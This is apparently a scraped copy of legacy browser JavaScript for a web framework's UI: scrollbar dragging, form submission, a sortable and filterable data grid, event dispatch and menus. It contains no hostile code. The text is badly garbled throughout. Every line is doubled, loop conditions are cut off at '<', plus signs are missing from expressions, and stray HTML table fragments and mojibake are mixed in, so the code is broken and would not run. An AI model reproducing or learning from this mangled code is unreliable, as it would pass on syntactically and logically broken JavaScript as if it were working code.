pY = _dragObject.spLayer.top;
pY = _dragObject.spLayer.top;
if(pY > _dragObject.spLayer.clip.height
if(pY > _dragObject.spLayer.clip.height
_dragObject.spLayer.top -
_dragObject.spLayer.top -
_dragObject.clip.height)
_dragObject.clip.height)
pY = _dragObject.spLayer.clip.height
pY = _dragObject.spLayer.clip.height
_dragObject.clip.height;
_dragObject.clip.height;
_dragObject.top = pY;
_dragObject.top = pY;
percentScroll = (pY - _dragObject.spLayer.top) /
percentScroll = (pY - _dragObject.spLayer.top) /
(_dragObject.spLayer.clip.height -
(_dragObject.spLayer.clip.height -
_dragObject.clip.height);
_dragObject.clip.height);
_dragObject.parLayer.vScroll(percentScroll);
_dragObject.parLayer.vScroll(percentScroll);
pX -= _dragObject.hOffset;
pX -= _dragObject.hOffset;
if((pY > (_dragObject.top 54)) ||
if((pY > (_dragObject.top 54)) ||
(pY
(pY
pX = _dragObject.oLeft;
pX = _dragObject.oLeft;
if(pX
if(pX
pX = _dragObject.spLayer.left;
pX = _dragObject.spLayer.left;
if(pX > _dragObject.spLayer.clip.width
if(pX > _dragObject.spLayer.clip.width
_dragObject.spLayer.left -
_dragObject.spLayer.left -
_dragObject.clip.width)
_dragObject.clip.width)
pX = _dragObject.spLayer.clip.width
pX = _dragObject.spLayer.clip.width
_dragObject.clip.width;
_dragObject.clip.width;
_dragObject.left = pX;
_dragObject.left = pX;
percentScroll = (pX - _dragObject.spLayer.left) /
percentScroll = (pX - _dragObject.spLayer.left) /
(_dragObject.spLayer.clip.width -
(_dragObject.spLayer.clip.width -
_dragObject.clip.width);
_dragObject.clip.width);
_dragObject.parLayer.hScroll(percentScroll);
_dragObject.parLayer.hScroll(percentScroll);
function IWOnError(AMsg, AUrl, ALineNo) {
function IWOnError(AMsg, AUrl, ALineNo) {
window.onError = IWOnError;
window.onError = IWOnError;
if (obj.name != null && obj.form && obj.form.name != "HiddenSubmitForm") {
if (obj.name != null && obj.form && obj.form.name != "HiddenSubmitForm") {
if (obj.name.length > 0) {
if (obj.name.length > 0) {
var dobj=aSubmitForm.elements[obj.name];
var dobj=aSubmitForm.elements[obj.name];
if (obj.type) {
if (obj.type) {
if (obj.type=="select-one") {
if (obj.type=="select-one") {
if (obj.selectedIndex!=-1) { dobj.value=obj.options[obj.selectedIndex].value; }
if (obj.selectedIndex!=-1) { dobj.value=obj.options[obj.selectedIndex].value; }
else { dobj.value=-1 }
else { dobj.value=-1 }
if (obj.type=="select-multiple") {
if (obj.type=="select-multiple") {
if (obj.selectedIndex!=-1) {
if (obj.selectedIndex!=-1) {
dobj.value=dobj.value=obj.options[obj.selectedIndex].value ',';
dobj.value=dobj.value=obj.options[obj.selectedIndex].value ',';
for(i=0;i
for(i=0;i
if (obj.options[i].selected==true) {
if (obj.options[i].selected==true) {
dobj.value=dobj.value obj.options[i].value ",";
dobj.value=dobj.value obj.options[i].value ",";
if (obj.type=="checkbox") { dobj.value = obj.checked ? "on" : "off"; }
if (obj.type=="checkbox") { dobj.value = obj.checked ? "on" : "off"; }
if (obj.type=="radio") {
if (obj.type=="radio") {
if (obj.checked) { dobj.value=obj.value; }
if (obj.checked) { dobj.value=obj.value; }
if (obj.type != "button") { dobj.value=obj.value;}
if (obj.type != "button") { dobj.value=obj.value;}
function LoadURL(URL) {
function LoadURL(URL) {
location.replace(URL);
location.replace(URL);
function NewWindow(URL, Name, Options) {
function NewWindow(URL, Name, Options) {
w=window.open(URL, Name, Options);
w=window.open(URL, Name, Options);
function Status(msg) {
function Status(msg) {
window.status=msg;
window.status=msg;
if (df.value == "On") {
if (df.value == "On") {
df.value = "Off";
df.value = "Off";
Image.src = GImageCache_CoolCheckBox_False.src;
Image.src = GImageCache_CoolCheckBox_False.src;
df.value = "On";
df.value = "On";
Image.src = GImageCache_CoolCheckBox_True.src;
Image.src = GImageCache_CoolCheckBox_True.src;
if (AConfirmation.length == 0) {
if (AConfirmation.length == 0) {
if (window.confirm(AConfirmation)) {
if (window.confirm(AConfirmation)) {
if (document.activeElement){
if (document.activeElement){
GActiveControl = document.activeElement.id;
GActiveControl = document.activeElement.id;
if (xSubmitForm.elements[j].type != "hidden") { // Automatically submit all hidden fields
if (xSubmitForm.elements[j].type != "hidden") { // Automatically submit all hidden fields
if ( document.getElementsByName(name).length == 0 ) {
if ( document.getElementsByName(name).length == 0 ) {
xSubmitForm.removeChild(xSubmitForm.elements[j]);
xSubmitForm.removeChild(xSubmitForm.elements[j]);
for (j=0; j
for (j=0; j
xSubmitForm.elements.IW_Action.value=objname;
xSubmitForm.elements.IW_Action.value=objname;
xSubmitForm.elements.IW_ActionParam.value=param;
xSubmitForm.elements.IW_ActionParam.value=param;
xSubmitForm.submit();
xSubmitForm.submit();
document.getElementById(id).innerHTML = text;
document.getElementById(id).innerHTML = text;
document.all[id].innerHTML = text;
document.all[id].innerHTML = text;
document.getElementById(id).innerHTML = text;
document.getElementById(id).innerHTML = text;
document.all[id].innerHTML = text;
document.all[id].innerHTML = text;
function CheckReturnKey(AKey, AName, AValidation) {
function CheckReturnKey(AKey, AName, AValidation) {
if (AKey == 13) {
if (AKey == 13) {
if(!IWTop().IWHistoryList) {
if(!IWTop().IWHistoryList) {
IWTop().IWHistoryList = new Array();
IWTop().IWHistoryList = new Array();
IWTop().IWHistoryList = IWTop().IWHistoryList.slice(0, HistoryIndex(ALocation));
IWTop().IWHistoryList = IWTop().IWHistoryList.slice(0, HistoryIndex(ALocation));
IWTop().IWHistoryList[IWTop().IWHistoryList.length] = ALocation;
IWTop().IWHistoryList[IWTop().IWHistoryList.length] = ALocation;
for (i = 0; i
for (i = 0; i
if (IWTop().IWHistoryList[i] == ALocation) {
if (IWTop().IWHistoryList[i] == ALocation) {
if (IWTop().IWHistoryList) {
if (IWTop().IWHistoryList) {
return LRegExp.test(LEdit.value);
return LRegExp.test(LEdit.value);
var elems=document.getElementsByName(name);
var elems=document.getElementsByName(name);
for (i=0;i
for (i=0;i
elems[i].checked=false;
elems[i].checked=false;
FindElem(selected).checked=true;
FindElem(selected).checked=true;
var elem = document.getElementById(CommentName);
var elem = document.getElementById(CommentName);
document.write(elem.innerHTML);
document.write(elem.innerHTML);
return parent.IWTop();
return parent.IWTop();
if(arguments.length > 2)
if(arguments.length > 2)
for(var n = 2; n
for(var n = 2; n
return function() { return thatMethod.apply(that,_params); }
return function() { return thatMethod.apply(that,_params); }
return function() { return thatMethod.call(that); }
return function() { return thatMethod.call(that); }
while (i
while (i
if (i
if (i
return this.Data[this.CurrentRecord][i];
return this.Data[this.CurrentRecord][i];
this.CurrentRecord = 0;
this.CurrentRecord = 0;
this.DoOnChange();
this.DoOnChange();
if (this.CurrentRecord
if (this.CurrentRecord
this.CurrentRecord ;
this.CurrentRecord ;
if (this.CurrentRecord > 0) {
if (this.CurrentRecord > 0) {
this.CurrentRecord--;
this.CurrentRecord--;
this.CurrentRecord = this.Data.length - 1;
this.CurrentRecord = this.Data.length - 1;
return (this.CurrentRecord == this.Data.length - 1) || (this.Data.length == 0);
return (this.CurrentRecord == this.Data.length - 1) || (this.Data.length == 0);
return (this.CurrentRecord == 0) || (this.Data.length == 0);
return (this.CurrentRecord == 0) || (this.Data.length == 0);
for (i=0; i
for (i=0; i
this.OnChangeList[i].DoOnChange(this);
this.OnChangeList[i].DoOnChange(this);
this.Fields = AFields;
this.Fields = AFields;
this.FieldByName = CSDS_FieldByName;
this.FieldByName = CSDS_FieldByName;
this.First = CSDS_First;
this.First = CSDS_First;
this.Next = CSDS_Next;
this.Next = CSDS_Next;
this.Prior = CSDS_Prior;
this.Prior = CSDS_Prior;
this.Last = CSDS_Last;
this.Last = CSDS_Last;
this.EOF = CSDS_EOF;
this.EOF = CSDS_EOF;
this.BOF = CSDS_BOF;
this.BOF = CSDS_BOF;
this.OnChangeList = new Array();
this.OnChangeList = new Array();
this.DoOnChange = CSDS_DoOnChange;
this.DoOnChange = CSDS_DoOnChange;
this.First();
this.First();
if (a.SortOrder) {
if (a.SortOrder) {
if (a.Value
if (a.Value
if (a.Value > b.Value)
if (a.Value > b.Value)
for (i = 0; i
for (i = 0; i
sortarray[i].row = i;
sortarray[i].row = i;
sortarray[i].Value = id.Rows[i].RowData[ACol];
sortarray[i].Value = id.Rows[i].RowData[ACol];
sortarray[i].SortOrder = id.Cols[ACol].SortOrder;
sortarray[i].SortOrder = id.Cols[ACol].SortOrder;
sortarray.sort(compare);
sortarray.sort(compare);
for (i = 0; i
for (i = 0; i
tmparray[i] = id.Rows[sortarray[i].row];
tmparray[i] = id.Rows[sortarray[i].row];
id.Rows = tmparray;
id.Rows = tmparray;
id.Cols[ACol].SortOrder = !id.Cols[ACol].SortOrder;
id.Cols[ACol].SortOrder = !id.Cols[ACol].SortOrder;
id.RenderTable();
id.RenderTable();
AID.Cells[ARow][ACol].value = ANewValue;
AID.Cells[ARow][ACol].value = ANewValue;
AID.RenderTable();
AID.RenderTable();
for (i = 0; i
for (i = 0; i
if (AID.Filters[i].Col != ACol)
if (AID.Filters[i].Col != ACol)
NewFilters[NewFilters.length] = AID.Filters[i];
NewFilters[NewFilters.length] = AID.Filters[i];
AID.Filters = NewFilters;
AID.Filters = NewFilters;
for (i = 0; i
for (i = 0; i
if (AID.Filters[i].Col == ACol) break;
if (AID.Filters[i].Col == ACol) break;
if (i
if (i
AID.Filters[i].Col = ACol;
AID.Filters[i].Col = ACol;
AID.Filters[i].Value = FilterIndex;
AID.Filters[i].Value = FilterIndex;
AID.Filters[AID.Filters.length] = new Object();
AID.Filters[AID.Filters.length] = new Object();
AID.Filters[AID.Filters.length - 1].Col = ACol;
AID.Filters[AID.Filters.length - 1].Col = ACol;
AID.Filters[AID.Filters.length - 1].Value = FilterIndex;
AID.Filters[AID.Filters.length - 1].Value = FilterIndex;
for (i = 0; i
for (i = 0; i
AID.Rows[i].Filtered = false;
AID.Rows[i].Filtered = false;
for (i = 0; i
for (i = 0; i
LCol = AID.Filters[i].Col;
LCol = AID.Filters[i].Col;
for (j = 0; j
for (j = 0; j
if (AID.Rows[j].RowData[LCol] != AID.Cols[LCol].FilterValues[AID.Filters[i].Value])
if (AID.Rows[j].RowData[LCol] != AID.Cols[LCol].FilterValues[AID.Filters[i].Value])
AID.Rows[j].Filtered = true;
AID.Rows[j].Filtered = true;
AID.Cols[ACol].FilterValue = FilterIndex;
AID.Cols[ACol].FilterValue = FilterIndex;
s[sindex ] = this.TableLook;
s[sindex ] = this.TableLook;
// First row is for operation images
// First row is for operation images
s[sindex ] = this.TitleLook "
"s[sindex ] = this.TitleLook "
"" Â "
" Â "
for (i = 0; i
for (i = 0; i
s[sindex ] = "
""
""
" this.WrapTitles ">"" " this.WrapTitles ">"
s[sindex ] = this.FilterLook "
"var RowStart = "
"" Â "
" Â "
for (i = 0; i
for (i = 0; i
if (this.Rows[i].RowData.length > 0 && !this.Rows[i].Filtered) {
if (this.Rows[i].RowData.length > 0 && !this.Rows[i].Filtered) {
for (j = 0; j
for (j = 0; j
if (this.Rows[i].RowData[j] == "") {
if (this.Rows[i].RowData[j] == "") {
s[sindex ] = "
' this.Data[i][1] ' | ' this.Data[i][0] ' | |||
' this.Data[i][1] ' | ' this.Data[i][0] ' | |||
"; s[sindex ] = " | "; s[sindex ] = this.TitleLook " | |||
"; s[sindex ] = this.TitleLook " | ||||
"; " | " this.Cols[i].Caption " | " this.Cols[i].Caption " | "; " | "; if (this.Cols[i].SortOrder) if (this.Cols[i].SortOrder) s[sindex ] = ""; s[sindex ] = ""; s[sindex ] = ""; s[sindex ] = ""; " |
"; s[sindex ] = this.FilterLook " | ||||
"; if (this.Cols[i].FilterValues.length) { if (this.Cols[i].FilterValues.length) { this.ObjectName ", " i ", this.selectedIndex)\">"; this.ObjectName ", " i ", this.selectedIndex)\">"; if (this.Cols[i].FilterValue == -1) if (this.Cols[i].FilterValue == -1) for (j = 0; j for (j = 0; j if (this.Cols[i].FilterValue == j) { if (this.Cols[i].FilterValue == j) { s[sindex ] = "" this.Cols[i].FilterValues[j] ""; s[sindex ] = "" this.Cols[i].FilterValues[j] ""; s[sindex ] = "" this.Cols[i].FilterValues[j] ""; s[sindex ] = "" this.Cols[i].FilterValues[j] ""; var RowStart = " | ||||
" this.TitleLook " | ||||
" this.TitleLook " | ||||
" this.DataLook " | ||||
 |
s[sindex ] = "
" this.DataLook "Â ";s[sindex ] = "
" this.DataLook "" this.Rows[i].RowData[j] "";s[sindex ] = "
" this.DataLook "" this.Rows[i].RowData[j] "";layerWriteAppend(this.DIVName, null, s);
layerWriteAppend(this.DIVName, null, s);
var str = s.join("");
var str = s.join("");
layerWrite(this.DIVName, null, str);
layerWrite(this.DIVName, null, str);
this.Caption = ACaption;
this.Caption = ACaption;
this.FilterValue = -1;
this.FilterValue = -1;
this.FilterValues = new Array();
this.FilterValues = new Array();
this.SortOrder = true;
this.SortOrder = true;
for (LCol = 0; LCol
for (LCol = 0; LCol
this.Cols[LCol] = new DefineColumn(this.TitleCaptions[LCol]);
this.Cols[LCol] = new DefineColumn(this.TitleCaptions[LCol]);
for (i = 0; i
for (i = 0; i
this.Rows[i] = new Object();
this.Rows[i] = new Object();
this.Rows[i].RowData = this.CellValues[i];
this.Rows[i].RowData = this.CellValues[i];
this.Rows[i].Filtered = false;
this.Rows[i].Filtered = false;
for (j = 0; j
for (j = 0; j
for (k = 0; k
for (k = 0; k
if (this.Cols[j].FilterValues[k] == this.Rows[i].RowData[j]) break;
if (this.Cols[j].FilterValues[k] == this.Rows[i].RowData[j]) break;
if (k == this.Cols[j].FilterValues.length)
if (k == this.Cols[j].FilterValues.length)
this.Cols[j].FilterValues[this.Cols[j].FilterValues.length] = this.Rows[i].RowData[j];
this.Cols[j].FilterValues[this.Cols[j].FilterValues.length] = this.Rows[i].RowData[j];
for (i = 0; i
for (i = 0; i
this.Cols[i].FilterValues.sort(SimpleSort);
this.Cols[i].FilterValues.sort(SimpleSort);
this.WrapTitles = AWrapTitles;
this.WrapTitles = AWrapTitles;
this.Cols = new Array();
this.Cols = new Array();
this.Rows = new Array();
this.Rows = new Array();
this.Filters = new Array();
this.Filters = new Array();
this.CaptionBandVisible = true;
this.CaptionBandVisible = true;
this.FilterBandVisible = true;
this.FilterBandVisible = true;
this.name = AName;
this.name = AName;
this.DIVName = ADIVName;
this.DIVName = ADIVName;
this.ObjectName = AName;
this.ObjectName = AName;
this.TableLook = ATableLook;
this.TableLook = ATableLook;
this.DataLook = ADataLook;
this.DataLook = ADataLook;
this.TitleLook = ATitleLook;
this.TitleLook = ATitleLook;
this.FilterLook = AFilterLook;
this.FilterLook = AFilterLook;
this.TitleCaptions = ATitleCaptions;
this.TitleCaptions = ATitleCaptions;
this.CellValues = ACellValues;
this.CellValues = ACellValues;
this.RenderTable = DynGrid_RenderTable;
this.RenderTable = DynGrid_RenderTable;
this.InitTable = DynGrid_InitTable;
this.InitTable = DynGrid_InitTable;
"keydown", "keypress", "keyup", "load",
"keydown", "keypress", "keyup", "load",
var iLength = eventList.length;
var iLength = eventList.length;
if (eventList[j] == event.type) break;
if (eventList[j] == event.type) break;
var isClick = event.type == "click";
var isClick = event.type == "click";
evElement = event.srcElement;
evElement = event.srcElement;
if (evElement.IEEventHandlers == null) {
if (evElement.IEEventHandlers == null) {
while (evElement != null && evElement.IEEventHandlers == null) {
while (evElement != null && evElement.IEEventHandlers == null) {
evElement = evElement.parentElement;
evElement = evElement.parentElement;
if (evElement.IEEventHandlers.length > 0) {
if (evElement.IEEventHandlers.length > 0) {
iLength = evElement.IEEventHandlers[j].length;
iLength = evElement.IEEventHandlers[j].length;
evElement.eventFunc = evElement.IEEventHandlers[j][i];
evElement.eventFunc = evElement.IEEventHandlers[j][i];
if (!evElement.eventFunc()) {
if (!evElement.eventFunc()) {
var iLen = eventList.length;
var iLen = eventList.length;
if (this.IEEventHandlers[i] == null) {
if (this.IEEventHandlers[i] == null) {
this.IEEventHandlers[i] = new Array();
this.IEEventHandlers[i] = new Array();
eval("if (this.on" event " != null) {this.IEEventHandlers[0] = this.on" event ";}");
eval("if (this.on" event " != null) {this.IEEventHandlers[0] = this.on" event ";}");
eval("this.on" event " = IWEventHandler;");
eval("this.on" event " = IWEventHandler;");
this.IEEventHandlers[i][this.IEEventHandlers[i].length] = EventHandler;
this.IEEventHandlers[i][this.IEEventHandlers[i].length] = EventHandler;
window.alert('cancel');
window.alert('cancel');
window.onCancel
window.onCancel
return SubmitClickConfirm(AName, AEvent.offsetX ',' AEvent.offsetY, ASubmitValidation
return SubmitClickConfirm(AName, AEvent.offsetX ',' AEvent.offsetY, ASubmitValidation
var formsLength = document.forms.length;
var formsLength = document.forms.length;
if (document.forms[i] == aIgnoreForm || document.forms[i] == getSubmitForm()) {
if (document.forms[i] == aIgnoreForm || document.forms[i] == getSubmitForm()) {
var elemntsLength = document.forms[i].elements.length;
var elemntsLength = document.forms[i].elements.length;
if (objname == document.forms[i].elements[j].name) {
if (objname == document.forms[i].elements[j].name) {
return document.forms[i].elements[j];
return document.forms[i].elements[j];
var res = document.all[objname];
var res = document.all[objname];
if (res.length > 0) {
if (res.length > 0) {
var resLength = res.length;
var resLength = res.length;
if (res[i].form != aIgnoreForm) return res[i];
if (res[i].form != aIgnoreForm) return res[i];
if (res.form != aIgnoreForm) {
if (res.form != aIgnoreForm) {
return window.SubmitFrame.document.SubmitForm;
return window.SubmitFrame.document.SubmitForm;
return document.SubmitForm;
return document.SubmitForm;
lp.top = 0;
lp.top = 0;
lp.left = 0;
lp.left = 0;
/*lp.top = lPoint.top aRoot.offsetTop;
/*lp.top = lPoint.top aRoot.offsetTop;
lp.left = lPoint.left aRoot.offsetLeft;*/
lp.left = lPoint.left aRoot.offsetLeft;*/
for (i = 0; i
for (i = 0; i
if (isNotClipped(aRoot.children[i])) {
if (isNotClipped(aRoot.children[i])) {
CalculateScrollSize(aRoot.children[i], lScroll, lp);
CalculateScrollSize(aRoot.children[i], lScroll, lp);
if (lp.top aRoot.children[i].offsetTop aRoot.children[i].offsetHeight > lScroll.Height) {
if (lp.top aRoot.children[i].offsetTop aRoot.children[i].offsetHeight > lScroll.Height) {
lScroll.Height = lp.top aRoot.children[i].offsetTop aRoot.children[i].offsetHeight;
lScroll.Height = lp.top aRoot.children[i].offsetTop aRoot.children[i].offsetHeight;
if (lp.left aRoot.children[i].offsetLef aRoot.children[i].offsetWidth > lScroll.Width) {
if (lp.left aRoot.children[i].offsetLef aRoot.children[i].offsetWidth > lScroll.Width) {
lScroll.Width = lp.left aRoot.children[i].offsetLef aRoot.children[i].offsetWidth;
lScroll.Width = lp.left aRoot.children[i].offsetLef aRoot.children[i].offsetWidth;
lScroll.Width = document.body.scrollWidth;
lScroll.Width = document.body.scrollWidth;
lScroll.Height = document.body.scrollHeight;
lScroll.Height = document.body.scrollHeight;
var lWidth = document.body.clientWidth;
var lWidth = document.body.clientWidth;
var lHeight = document.body.clientHeight;
var lHeight = document.body.clientHeight;
if (lWidth
if (lWidth
lWidth = lScroll.Width;
lWidth = lScroll.Width;
if (lHeight
if (lHeight
lHeight = lScroll.Height;
lHeight = lScroll.Height;
IWCLForm.UpdateRects(LNewRect);
IWCLForm.UpdateRects(LNewRect);
for (i = 0; i
for (i = 0; i
SetCursor(ARoot.children[i]);
SetCursor(ARoot.children[i]);
IWCLForm.oldCursors[IWCLForm.oldCursors.length] = ARoot.children[i].style.cursor;
IWCLForm.oldCursors[IWCLForm.oldCursors.length] = ARoot.children[i].style.cursor;
IWCLForm.HTMLelements[IWCLForm.HTMLelements.length] = ARoot.children[i];
IWCLForm.HTMLelements[IWCLForm.HTMLelements.length] = ARoot.children[i];
ARoot.children[i].style.cursor = "wait";
ARoot.children[i].style.cursor = "wait";
this.addEventListener(event, EventHandler, false);
this.addEventListener(event, EventHandler, false);
var listLength = eventList.length;
var listLength = eventList.length;
evElement = event.target;
evElement = event.target;
evElement = evElement.parentNode;
evElement = evElement.parentNode;
listLength = evElement.IEEventHandlers[j].length;
listLength = evElement.IEEventHandlers[j].length;
if (!evElement.eventFunc(event)) {
if (!evElement.eventFunc(event)) {
var lforms = window.document.forms;
var lforms = window.document.forms;
var iLen = lforms.length;
var iLen = lforms.length;
for (j=lforms[i].elements.length-1; j>=0; --j) {
for (j=lforms[i].elements.length-1; j>=0; --j) {
if (objname==lforms[i].elements[j].name) {
if (objname==lforms[i].elements[j].name) {
lresult[lresult.length] = lforms[i].elements[j]
lresult[lresult.length] = lforms[i].elements[j]
if (lresult.length == 0) {
if (lresult.length == 0) {
return window.document.getElementById(objname);
return window.document.getElementById(objname);
if (lresult.length == 1) {
if (lresult.length == 1) {
return window.document.getElementById("SubmitFrame").contentDocument.forms["SubmitForm"];
return window.document.getElementById("SubmitFrame").contentDocument.forms["SubmitForm"];
return window.document.forms["SubmitForm"];
return window.document.forms["SubmitForm"];
return SubmitClickConfirm(ImageCurrentName, (AEvent.layerX) ',' (AEvent.layerY)
return SubmitClickConfirm(ImageCurrentName, (AEvent.layerX) ',' (AEvent.layerY)
ALink.onmousedown=ImageClick;
ALink.onmousedown=ImageClick;
for (var i = aElement.childNodes.length-1; i >= 0; --i) {
for (var i = aElement.childNodes.length-1; i >= 0; --i) {
var node = aElement.childNodes[i];
var node = aElement.childNodes[i];
if (node.offsetTop node.offsetHeight > lscrollHeight) {
if (node.offsetTop node.offsetHeight > lscrollHeight) {
lscrollHeight = node.offsetTop node.offsetHeight;
lscrollHeight = node.offsetTop node.offsetHeight;
if (node.offsetLeft node.offsetWidth > lscrollWidth) {
if (node.offsetLeft node.offsetWidth > lscrollWidth) {
lscrollWidth = node.offsetLeft node.offsetWidth;
lscrollWidth = node.offsetLeft node.offsetWidth;
var lWidth = window.innerWidth;
var lWidth = window.innerWidth;
var lHeight = window.innerHeight;
var lHeight = window.innerHeight;
/*alert("client(" window.parent.document.body.clientWidth "," window.parent.document.body.clientHeight ")" " scroll(" window.parent.document.body.scrollWidth "," window.parent.document.body.scrollHeight ")");*/
/*alert("client(" window.parent.document.body.clientWidth "," window.parent.document.body.clientHeight ")" " scroll(" window.parent.document.body.scrollWidth "," window.parent.document.body.scrollHeight ")");*/
var lPoint = calcScrollRect(document.body); */
var lPoint = calcScrollRect(document.body); */
var lscrollWidth = window.document.body.scrollWidth; // js - added window.
var lscrollWidth = window.document.body.scrollWidth; // js - added window.
var lscrollHeight = window.document.body.scrollHeight; // js - added window.
var lscrollHeight = window.document.body.scrollHeight; // js - added window.
var lWidth = window.innerWidth - 21;
var lWidth = window.innerWidth - 21;
var lHeight = window.innerHeight - 21;
var lHeight = window.innerHeight - 21;
for (i = ARoot.childNodes.length-1; i >= 0; --i) {
for (i = ARoot.childNodes.length-1; i >= 0; --i) {
SetCursor(ARoot.childNodes[i]);
SetCursor(ARoot.childNodes[i]);
if (ARoot.childNodes[i].style) {
if (ARoot.childNodes[i].style) {
IWCLForm.oldCursors[IWCLForm.oldCursors.length] = ARoot.childNodes[i].style.cursor;
IWCLForm.oldCursors[IWCLForm.oldCursors.length] = ARoot.childNodes[i].style.cursor;
IWCLForm.HTMLelements[IWCLForm.HTMLelements.length] = ARoot.childNodes[i];
IWCLForm.HTMLelements[IWCLForm.HTMLelements.length] = ARoot.childNodes[i];
ARoot.childNodes[i].style.cursor = "wait";
ARoot.childNodes[i].style.cursor = "wait";
var doc = elem.ownerDocument;
var doc = elem.ownerDocument;
var cs = doc.defaultView.getComputedStyle(elem,'');
var cs = doc.defaultView.getComputedStyle(elem,'');
var borderLeftPixels = parseInt(cs.borderLeftWidth);
var borderLeftPixels = parseInt(cs.borderLeftWidth);
var borderRightPixels = parseInt(cs.borderRightWidth);
var borderRightPixels = parseInt(cs.borderRightWidth);
var borderTopPixels = parseInt(cs.borderTopWidth);
var borderTopPixels = parseInt(cs.borderTopWidth);
var borderBottomPixels = parseInt(cs.borderBottomWidth);
var borderBottomPixels = parseInt(cs.borderBottomWidth);
var possibleClientWidth = elem.offsetWidth - borderLeftPixels - borderRightPixels;
var possibleClientWidth = elem.offsetWidth - borderLeftPixels - borderRightPixels;
var possibleClientHeight = elem.offsetHeight - borderTopPixels - borderBottomPixels;
var possibleClientHeight = elem.offsetHeight - borderTopPixels - borderBottomPixels;
var isHBad = (elem.clientWidth
var isHBad = (elem.clientWidth
var isVBad = (elem.clientHeight
var isVBad = (elem.clientHeight
var oldOverflow = cs.overflow;
var oldOverflow = cs.overflow;
elem.style.overflow = "visible";
elem.style.overflow = "visible";
elem.style.overflow = oldOverflow;
elem.style.overflow = oldOverflow;
menu.ItemStyle = menu.className;
menu.ItemStyle = menu.className;
menu.SelectedItemStyle = "";
menu.SelectedItemStyle = "";
menu.addMenuItem = Menu_addMenuItem;
menu.addMenuItem = Menu_addMenuItem;
menu.getItemStyle = Menu_getItemStyle;
menu.getItemStyle = Menu_getItemStyle;
menu.getSelectedItemStyle= Menu_getSelectedItemStyle;
menu.getSelectedItemStyle= Menu_getSelectedItemStyle;
menu.onmouseover = Menu_onmouseover;
menu.onmouseover = Menu_onmouseover;
menu.onmouseout = Menu_onmouseout;
menu.onmouseout = Menu_onmouseout;
menu.onclick = Menu_onclick;
menu.onclick = Menu_onclick;
menu.Selected = null;
menu.Selected = null;
menu.ParentMenu = null;
menu.ParentMenu = null;
menu.findMenuItem = Menu_findMenuItem;
menu.findMenuItem = Menu_findMenuItem;
menu.MenuItems = new Array();
menu.MenuItems = new Array();
menu.getMainMenu = Menu_getMainMenu;
menu.getMainMenu = Menu_getMainMenu;
menu.MenuOrientation = -1;
menu.MenuOrientation = -1;
menu.submenuvisble = false;
menu.submenuvisble = false;
menu.hideAll = MainMenu_hideAll;
menu.hideAll = MainMenu_hideAll;
menu.timerid = null;
menu.timerid = null;
menu.onmouseover = null;
menu.onmouseover = null;
menu.onmouseout = null;
menu.onmouseout = null;
menu.onclick = null;
menu.onclick = null;
if (this.ParentMenu != null) {
if (this.ParentMenu != null) {
return this.ParentMenu.getMainMenu();
return this.ParentMenu.getMainMenu();
if (this.ItemStyle != "") {
if (this.ItemStyle != "") {
return this.ItemStyle;
return this.ItemStyle;
if (this.ParentMenu != null) {
if (this.ParentMenu != null) {
return this.ParentMenu.getItemStyle();
return this.ParentMenu.getItemStyle();
if (this.SelectedItemStyle != "") {
if (this.SelectedItemStyle != "") {
return this.SelectedItemStyle;
return this.SelectedItemStyle;
return this.ParentMenu.getSelectedItemStyle();
return this.ParentMenu.getSelectedItemStyle();
for (i=0; i
for (i=0; i
if (this.MenuItems[i].Id == AId) {
if (this.MenuItems[i].Id == AId) {
return this.MenuItems[i];
return this.MenuItems[i];
l = this.MenuItems[i].findMenuItem(AId);
l = this.MenuItems[i].findMenuItem(AId);
this.MenuItems[this.MenuItems.length] = CreateSubMenu(AItemID);
this.MenuItems[this.MenuItems.length] = CreateSubMenu(AItemID);
this.MenuItems[this.MenuItems.length - 1].ParentMenu = LocateElement(parent);
this.MenuItems[this.MenuItems.length - 1].ParentMenu = LocateElement(parent);
return this.MenuItems[this.MenuItems.length - 1];
return this.MenuItems[this.MenuItems.length - 1];
// var lMainMenu = element.getMainMenu();
// var lMainMenu = element.getMainMenu();
// if (element.tagName.toUpperCase() != 'TR') {
// if (element.tagName.toUpperCase() != 'TR') {
Lpoint.X = element.offsetLeft;
Lpoint.X = element.offsetLeft;
Lpoint.Y = element.offsetTop;
Lpoint.Y = element.offsetTop;
element = element.offsetParent;
element = element.offsetParent;
Lpoint.X = element.offsetLeft;
Lpoint.X = element.offsetLeft;
Lpoint.Y = element.offsetTop;
Lpoint.Y = element.offsetTop;
var childList = ns6 ? ARoot.childNodes: ARoot.children;
var childList = ns6 ? ARoot.childNodes: ARoot.children;
for (i = 0; i
for (i = 0; i
if (childList[i].type == "select-one" || childList[i].type == "select-multi") {
if (childList[i].type == "select-one" || childList[i].type == "select-multi") {
if (childList[i].AutoHide) {
if (childList[i].AutoHide) {
if (childList[i].IWHide) {
if (childList[i].IWHide) {
childList[i].IWHide();
childList[i].IWHide();
childList[i].style.visibility = "hidden";
childList[i].style.visibility = "hidden";
childList[i].style.display = "none";
childList[i].style.display = "none";
if (childList[i].IWShow) {
if (childList[i].IWShow) {
childList[i].IWShow();
childList[i].IWShow();
childList[i].style.visibility = "visible";
childList[i].style.visibility = "visible";
childList[i].style.display = "";
childList[i].style.display = "";
if (this.getMainMenu().timerid != null) {
if (this.getMainMenu().timerid != null) {
clearTimeout(this.getMainMenu().timerid);
clearTimeout(this.getMainMenu().timerid);
this.getMainMenu().timerid = null;
this.getMainMenu().timerid = null;
if (this.ParentMenu.Selected != this) {
if (this.ParentMenu.Selected != this) {
var litem = this.ParentMenu.Selected;
var litem = this.ParentMenu.Selected;
if (litem == null && this.getMainMenu().ComboBoxHide) {
if (litem == null && this.getMainMenu().ComboBoxHide) {
HideComboBoxes(document.body);
HideComboBoxes(document.body);
litem.className = litem.getItemStyle();
litem.className = litem.getItemStyle();
litem.ParentMenu.Selected = null;
litem.ParentMenu.Selected = null;
if (litem.MenuItems.length > 0) {
if (litem.MenuItems.length > 0) {
var lElement = LocateElement(litem.id "_table");
var lElement = LocateElement(litem.id "_table");
lElement.style.visibility = "hidden";
lElement.style.visibility = "hidden";
lElement.style.display = "none";
lElement.style.display = "none";
litem = litem.Selected;
litem = litem.Selected;
this.className = this.getSelectedItemStyle();
this.className = this.getSelectedItemStyle();
this.ParentMenu.Selected = this;
this.ParentMenu.Selected = this;
if (this.getMainMenu().submenuvisble) {
if (this.getMainMenu().submenuvisble) {
if (this.MenuItems.length > 0) {
if (this.MenuItems.length > 0) {
var lElement = LocateElement(this.id "_table");
var lElement = LocateElement(this.id "_table");
lElement.style.visibility = "visible";
lElement.style.visibility = "visible";
lElement.style.display = "";
lElement.style.display = "";
